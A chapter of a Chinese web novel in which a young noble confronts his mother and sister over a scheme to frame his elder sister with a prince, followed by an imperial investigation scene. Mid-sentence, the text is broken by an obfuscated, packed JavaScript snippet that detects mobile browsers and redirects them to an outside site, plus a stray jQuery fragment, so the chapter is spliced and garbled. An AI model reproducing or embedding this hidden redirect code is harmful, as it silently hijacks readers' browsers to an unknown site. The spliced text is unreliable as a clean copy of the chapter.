14. 第十四章 事实
作品:《重生后嫁给前夫他爹》 她们嘴里没有一句真话。
陆明义看着眼前的母亲与二姐,心一阵阵的发寒。
说谎就罢了,可她们竟还妄想将事情推到姐姐头上,陆明义紧攥拳头,几乎是忍着怒气:“你们真以为我什么都不知道吗?”
苏怜雪一愣:“你知道什么?”
见儿子不说话,苏怜雪紧张又激动:“你说什么胡话呢,是不是陆玖安那个贱人在你面前说我们坏话了,你别听她的……”
“够了!”陆明义吼出了声,他红着眼看向母亲,仿佛从未看清过她的面孔一般,原本温柔又慈爱的女人,如今仿佛一个陌生人,美好如同泡沫一般,一戳即破,“你再敢说一句话,我就全都去告诉祖父祖母,让他们这辈子都把你关在这里,再不让你出去。”
苏怜雪脚步踉跄了一下,不可置信:“你疯了,我是你娘!我生你养你,你竟要关我?你个没良心的……”
“到底是谁没良心,”陆明义盯着她,一字一句,“你作为侯府大夫人,享受着祖父从战场上拼来的荣耀与供奉,你不侍奉公婆,不善待子女,你的良心呢!”
苏怜雪也红了眼,她委屈得很:“是侯爷侯夫人不要我侍奉的,关我什么事,我哪里不善待子女,你和你姐姐,哪一个不是我的心头肉,若不是那两个老不死的非要将你养在他们膝下,我又何必与你分离那么多年!”
“那我姐姐呢!”陆明义几乎要哭出声来,“我姐姐就不是你的子女了吗,她是爹的女儿,是侯府的大小姐,她生来没有娘,你该是她的娘,可是你都做了什么,竟在背后如此羞辱她,你还想害她,我告诉你,若是姐姐出了事,这侯府我不要也罢!”
他吼出这几句后,几乎站不住,转身就要离去。
“明义,明义!”苏怜雪不明白他怎么就非要认那个姐姐,明明在他面前的才是自己的亲娘亲姐啊!她拦在他面前,怒道,“你真糊涂了,我是你娘,我还会害你吗,什么不要侯府,你怎么能说出这种话,你知道娘听了多难过吗,她没娘和我有什么关系,我爱自己生的孩子到底有什么错!”
陆明义浑身跟被抽去了力气似的,讽笑着摆了摆手:“对,你没错,错的都是我,但我说的没有一句戏言,姐姐在,侯府在,姐姐不在,我在这侯府又有什么意义。”
他毅然走出了院门,叫嬷嬷将门锁住,里头的苏怜雪一开始还哄着他让他放自己出去,后来实在忍不住,哭喊着骂他不孝子。
“娘,”见娘哭累了,陆明歆叹息着上前,扶住她摇摇欲坠的身形,“我早就说过,陆明义被那几个人都教坏了,娘,你别指望他了,还不如指望我,他根本就靠不上。”
苏怜雪哭得肝肠寸断:“他怎么能这么说我呢,我可是他娘,”这话反复倒腾了有十多遍,她才摇头,“不,不是这样的,明歆你别怪明义,都是那俩老不死和那贱人,都是他们教唆的,你弟弟还小,他是无辜的呀,他什么都不懂,别人说什么他就听什么,怎么能怪他呢?”
陆明歆心一冷,嘲讽似的说:“他就比我小一个时辰而已。”
但是面对可怜的娘,她又忍不住心软:“娘,别管他了,等我们出去,等我做了三皇子妃,我一定让你做侯府主母,到时候你想怎么管教明义都行,好不好?”
苏怜雪终于止了哭,她紧抓着女儿的手臂,喟叹:“女儿啊,还好我还有你,还有这么一个乖巧聪明的女儿,我往后全靠你了。”
…
陆明义走出一段路后,才发觉自己不知不觉就到了千金阁门外。
女主人回来,千金阁里一团闹腾,看门的小厮发现了陆明义,连忙跑过来:“少爷是来找大小姐的吗,可要我去通报?”
陆明义心中一紧,急忙拦下他:“不不,我只是路过。”
小厮哦了一声,讪讪退回原位,只是见少爷迟迟不走,有些诧异地看过来。
千金阁不断有女孩子的笑声传出来,陆明义想起,从小到大,只要是有姐姐在的地方总是欢声笑语,他天生的性子,不爱说话,可是就爱跟着到处折腾的姐姐,即便被姐姐百般戏弄玩闹,也从来不肯离去,因为那是姐姐啊,她是太阳,永不凋落。
可这么好的姐姐,为什么母亲和二姐她们就是不喜欢?
陆明义想见姐姐,却又害怕,万一姐姐知道了母亲她们做的事,会怎么看自己,会不会也误会自己有参与,可是他没有…但他也不无辜,他昨日去母亲院中时听到了一些语焉不详的话,什么催情香,什么宫中,还有一句含糊的大小姐。
他还以为自己听错了,直到今日听到外面的消息才将此串联在一起,外面只传陆家小姐同三皇子被捉奸在床,陆明义还以为是姐姐出了事,吓得他险些软倒,直往家中跑,虽后来知道了受害人是二姐,但怀疑的种子还是悄悄种下,所以他瞒着别人去了母亲那,却没想到她们想要遮盖的谎言却成了他确认的罪证。
他恨,他怨,可是当他想要将此事告诉姐姐时,他却犹豫了,他害怕,害怕姐姐会不再要他这个弟弟,害怕姐姐和母亲为敌,即便他对母亲也很失望,但从没想过要让她去死……
他究竟该怎么办?
“少爷?”千金阁门口的小厮又来唤他,表情有些许谄媚,“可有什么要吩咐小的去办吗?”
陆明义回神,沉默着摇了摇头,他仔细辨认着阁里的声音,似乎听到了熟悉的笑声,这才迈着沉重的步伐远去。
“小姐,”夜色已深,陆玖安正坐在屋顶赏月时,云萝一边打哈欠,一边拿着什么东西进来,表情郁闷又奇怪,“不知道谁在我门口放了封信,还写着小姐你亲启。”
“哦?”能在云萝门外放这样一封信,说明写信之人很是了解她啊,以防万一,陆玖安戴上面罩和手套,小心翼翼将信封打开,却没想到上面只有寥寥几字。
“小姐?”云萝忍不住靠过来,“信里写了什么?”
陆玖安却合上信封,笑着在她面前晃了晃,待钓足了她的好奇心,才坏笑着:“不告诉你。”
“小姐!”云萝忍不住露出委屈的表情,陆玖安就当没看见。
信上的字迹缭乱而又陌生,但陆玖安还是在第一时间便认出了给她写信之人,因为在这府中,愿意花心思将真相告知于她,却又偷偷摸摸不肯露真身,也就只有一人。
见小姐真的没有一点要同她说的迹象,云萝撅撅嘴,她眼睛一咕噜:“小姐,是不是有谁来问二小姐要做三皇子妃的事啊?”她想到今日之事,她愤怒起来,“小姐明明知道二小姐其心不正,为什么不当面揭穿她,让她无地自容,如今三皇子亲自答应要向皇上求赐婚,二小姐一旦成了三皇子妃,岂不是更针对您了,气死我了,怎么会有这么坏的人,您对她多好啊,她怎么下得了手,就该告诉全天下人,让人看看她的真面目有多恶毒!”
陆玖安将那封信放到烛火下,看着它火化成灰,“那多便宜她啊。”
云萝:?
陆玖安嗤了声:“你以为天下人都会唾弃陆明歆吗,想多了,只要是她还是侯府二小姐一日,只要三皇子还相信她,她就有出头之日,那些闲言碎语,不过是他们二人爱情路上的泥泞罢了,时间一久,雨一落,就消失得干干净净,再没有存在的痕迹,她依旧是三皇子心爱之人,依旧是侯府二小姐。”
她揉了揉云萝的头:“而且,你以为她真就这么顺当,能成为三皇子妃吗?”
“啊?”
陆玖安眼中闪过一道痛色。
前世发生这桩事,她几乎被人轻贱到了泥里,是爷爷连夜赶去皇上的军营,愿意放弃所有,只为她求赐婚圣旨,舅舅更是长跪不起,愿意用军功抵外甥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135913|180119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女一辈子的幸福,她这才得以成为名正言顺的三皇子妃。
可如今呢,爷爷本就对内情怀疑,舅舅是她的舅舅,而非陆明歆之亲,只凭一个什么都没有的三皇子,真以为求皇上开金口有这么容易?
呵。
陆明歆啊陆明歆,你就在你的明心阁好好等待吧。
亥时,御书房
暗一悄无声息进了门,跪在乾元帝面前:“回主人,慎刑司已查清,催情香昨日由宫女朱梅带入宫中,奉广阳侯府二小姐陆明歆之名,意欲嫁祸亲姐姐陆家大小姐与三皇子。”
乾元帝正在把玩匕首的手一顿,即便心里已有了猜测,却还是觉得恶心,眼中闪过一丝厌恶:“广阳侯可真是生了位好孙女。”
暗一回完话便站在一旁不吭声了,杜廉觑着皇帝的脸色,小心翼翼问:“这广阳侯府的二小姐竟敢在宫中如此行事,实在胆大妄为,可要奴才去侯府将人抓捕归案?”
隋岱川却想起今日的陆大小姐,在他面前,她堪称跋扈,任谁都以为是家中受尽万千宠爱长大的娇小姐,结果这般凶猛的小老虎,却差一点就要成为整个京城的笑话,若是那陆二真的成功,她该如何自处?
万幸她聪明,还知道反击。
隋岱川有些好奇:“杜廉,你对广阳侯府知道多少。”
杜廉眼珠子不敢直视皇上,他不能确定皇上的用意,但想来也不是问广阳侯那个人,那个人曾与皇上并肩作战过,他还不如皇上对他熟悉的。
既然不是广阳侯,那就是这两位小姐了。
广阳侯家的事不是什么秘密,杜廉如实道来。
广阳侯没能生一个好儿子,这好儿子没才没德整日流连美色是人尽皆知,广阳侯自己都对这个儿子不是很满意,但他运道不错,生出了两位名动京城的小姐和颇有才学的小公子。
杜廉道:“那年广阳侯得了一对龙凤胎孙儿时,就连庆德先皇都前去参加洗三了呢。”庆德是先帝的年号。
隋岱川有些意兴阑珊,杜廉收到信号,立马改口:“不过陆小发妻生下大小姐不过三个月就离世,陆小无缝迎娶继室,当时许多人都觉得陆小心肠太狠,威武侯更是私下怀疑过妹妹的死因,可惜没有证据。”
隋岱川惊讶:“你是说,陆大小姐出生没多久,母亲就去世了?”
杜廉将头埋低了:“是,陆大小姐是由广阳侯夫妇抚养长大的,据说陆小并不喜欢这个大女儿,在外地居住多年后才回来。”
“他们怎么能这般对她!”隋岱川攥紧拳头,青筋暴起,一时间御书房寂静无声。
或许旁人都忘了,但万万人之上的乾元帝绝不会忘,他也是出生就没了娘,甚至背负着克母之声,被亲人唾弃。
“怪不得。”乾元帝喃喃。
怪不得陆二要害她,怪不得她受尽委屈,最后却只能将苦咽下,因为已经没人能替她做主了。
隋岱川一时暴虐之心疯长,只想杀戮,但他很快就冷静下来。
杀人并不能报仇,最好的报复方式,是让他们痛苦地活着,就如同那些人一般。
“隋佑是怎么回事。”他淡淡问。
杜廉腿肚子早开始抖了起来,面上却瞧不见分毫异样:“三皇子与陆二小姐互相倾心。”
隋岱川讽笑道:“蠢货。”如果真的两厢情愿,那陆二怎么会将如意郎君拱手相让,不过是被人蒙蔽了而已。
对儿子,隋岱川勉强有两分耐心:“如果他能早早看清别人的真容,就由他去,但若是看不清,甚至迁怒陆大小姐,那就让我永远都别见到他。”
杜廉心一颤,这可是皇上唯三的儿子啊,连儿子都…唉,他还是要低调低调再低调。等等,陆大小姐?皇上,您陌生得让奴才有点害怕,您怎么叫陆大小姐啊,您叫陆大小姐,那我叫什么?